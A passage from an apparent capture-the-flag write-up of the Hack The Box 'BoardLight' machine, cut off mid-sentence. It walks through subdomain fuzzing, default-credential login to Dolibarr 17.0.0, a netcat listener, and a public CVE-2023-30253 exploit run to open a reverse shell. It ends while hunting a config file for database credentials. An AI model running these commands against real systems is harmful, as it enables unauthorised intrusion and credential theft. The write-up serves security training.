&#9492;&#9472;$ ffuf -u http://board.htb -H "Host: FUZZ.board.htb" -mc 200,302 -fl 518 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o subdomain-scan.txt</code></pre><pre><code>        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.board.htb
 :: Output file      : subdomain-scan.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,302
 :: Filter           : Response lines: 518
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 429ms]
:: Progress: [3188/114441] :: Job [1/1] :: 124 req/sec :: Duration: [0:00:27] :: Errors: 0 ::
</code></pre><p><strong>crm.board.htb </strong>is identified and added to hosts.</p><pre><code>10.129.2.235 board.htb  crm.board.htb</code></pre><h2>Subdomain enumeration</h2><p>Browsing to the subdomain reveals a login page for Dolibarr 17.0.0</p><div class="pullquote"><p>Dolibarr is an open-source ERP CRM tool.</p></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!boFf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!boFf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png 424w, https://substackcdn.com/image/fetch/$s_!boFf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png 848w, https://substackcdn.com/image/fetch/$s_!boFf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png 1272w, https://substackcdn.com/image/fetch/$s_!boFf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!boFf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png" width="639" height="409" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:409,&quot;width&quot;:639,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:23433,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!boFf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png 424w, https://substackcdn.com/image/fetch/$s_!boFf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png 848w, https://substackcdn.com/image/fetch/$s_!boFf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png 1272w, https://substackcdn.com/image/fetch/$s_!boFf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff005ecf4-da8b-40f2-9c18-2f5b51e48684_639x409.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A search of searchsploit does not identify any immediate vulnerabilities for the version.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qxoi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qxoi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png 424w, https://substackcdn.com/image/fetch/$s_!qxoi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png 848w, https://substackcdn.com/image/fetch/$s_!qxoi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png 1272w, https://substackcdn.com/image/fetch/$s_!qxoi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qxoi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png" width="1163" height="529" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:529,&quot;width&quot;:1163,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:218531,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qxoi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png 424w, https://substackcdn.com/image/fetch/$s_!qxoi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png 848w, https://substackcdn.com/image/fetch/$s_!qxoi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png 1272w, https://substackcdn.com/image/fetch/$s_!qxoi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ce36f6c-339d-4f48-b309-bbfb99160596_1163x529.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h1>Initial access</h1><p>Attempting common default credentials works, and access to the admin dashboard is achieved.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hnVD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hnVD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png 424w, https://substackcdn.com/image/fetch/$s_!hnVD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png 848w, https://substackcdn.com/image/fetch/$s_!hnVD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png 1272w, https://substackcdn.com/image/fetch/$s_!hnVD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hnVD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png" width="1015" height="432" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:432,&quot;width&quot;:1015,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:84588,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hnVD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png 424w, https://substackcdn.com/image/fetch/$s_!hnVD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png 848w, https://substackcdn.com/image/fetch/$s_!hnVD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png 1272w, https://substackcdn.com/image/fetch/$s_!hnVD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a483b3-14b9-4d56-9068-36928e4f265d_1015x432.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Further research of the CRM version reveals it is vulnerable to <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30253">CVE-2023-30253</a>, <em>&#8220;a remote code execution vulnerability by authenticated users via an uppercase manipulation:&lt;?PHP instead of &lt;?php in injected data.&#8221;</em></p><p>It appears the ERP CRM can add websites and pages to test, and a malicious PHP payload could be added here to execute.</p><p>However, <a href="https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253">an exploit for the CVE</a> also exists, likely reducing the time to compromise.</p><p>Reviewing the code, it appears the pre-built exploit automates steps that could be undertaken manually: creating a site and page, injecting a PHP reverse shell payload, and triggering the payload to gain a reverse shell connection to the attacking machine.</p><p>The help menu provides basic instructions on how to execute it.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight/exploits]
&#9492;&#9472;$ git clone https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253.git

Cloning into 'Exploit-for-Dolibarr-17.0.0-CVE-2023-30253'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 18 (delta 3), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (18/18), 9.17 KiB | 9.17 MiB/s, done.
Resolving deltas: 100% (3/3), done.

&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight/exploits]
&#9492;&#9472;$ ls
Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight/exploits]
&#9492;&#9472;$ cd Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/&#8230;/htb-machines/boardlight/exploits/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
&#9492;&#9472;$ ls
exploit.py  README.md

&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/&#8230;/htb-machines/boardlight/exploits/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
&#9492;&#9472;$ python3 exploit.py -h
usage: python3 exploit.py &lt;TARGET_HOSTNAME&gt; &lt;USERNAME&gt; &lt;PASSWORD&gt; &lt;LHOST&gt; &lt;LPORT&gt;
example: python3 exploit.py http://example.com login password 127.0.0.1 9001

---[Reverse Shell Exploit for Dolibarr &lt;= 17.0.0 (CVE-2023-30253)]---

positional arguments:
  hostname    Target hostname
  username    Username of Dolibarr ERP/CRM
  password    Password of Dolibarr ERP/CRM
  lhost       Listening host for reverse shell
  lport       Listening port for reverse shell

options:
  -h, --help  show this help message and exit</code></pre><p>First, a listener is started.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight/exploits]
&#9492;&#9472;$ nc -lvnp 9000
listening on [any] 9000 ...</code></pre><p>Then, the exploit is executed as follows:</p><pre><code>python3 exploit.py http://example.com login passsword 127.0.0.1 9001</code></pre><pre><code>&#9472;&#9472;(emdeh&#12927;kali)-[~/&#8230;/htb-machines/boardlight/exploits/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253]
&#9492;&#9472;$ python3 exploit.py http://crm.board.htb &lt;redacted&gt; &lt;redacted&gt; 10.10.14.4 9000
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection
[!] If you have not received the shell, please check your login and password</code></pre><p>Initially, the exploit failed to establish a connection, but on a second try, a shell was caught on the listener:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FWPN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FWPN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png 424w, https://substackcdn.com/image/fetch/$s_!FWPN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png 848w, https://substackcdn.com/image/fetch/$s_!FWPN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png 1272w, https://substackcdn.com/image/fetch/$s_!FWPN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FWPN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png" width="646" height="230" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:230,&quot;width&quot;:646,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32879,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FWPN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png 424w, https://substackcdn.com/image/fetch/$s_!FWPN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png 848w, https://substackcdn.com/image/fetch/$s_!FWPN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png 1272w, https://substackcdn.com/image/fetch/$s_!FWPN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d55ada3-a22f-4e09-8256-2b6c7642a2d1_646x230.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div><hr></div><h1>Lateral movement</h1><p>According to the online documentation, the Dolibarr configuration file is <strong>conf/conf.php</strong>. The automatic install process creates it and contains the system setup.</p><p>Searching for this file locates it at <strong>/var/www/html/crm.board.htb/htdocs/</strong></p><pre><code>www-data@boardlight: find / -name conf.php 2&gt; /dev/null

/var/www/html/crm.board.htb/htdocs/conf/conf.php</code></pre><p>Reviewing the file reveals credentials for a MySQL database.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yMyS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yMyS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png 424w, https://substackcdn.com/image/fetch/$s_!yMyS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png 848w, https://substackcdn.com/image/fetch/$s_!yMyS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png 1272w, https://substackcdn.com/image/fetch/$s_!yMyS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yMyS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png" width="755" height="911" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:911,&quot;width&quot;:755,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:193713,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yMyS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png 424w, https://substackcdn.com/image/fetch/$s_!yMyS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png 848w, https://substackcdn.com/image/fetch/$s_!yMyS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png 1272w, https://substackcdn.com/image/fetch/$s_!yMyS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3739f651-68a6-4560-b5d8-dd31c23dff6f_755x911.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Connecting to it is 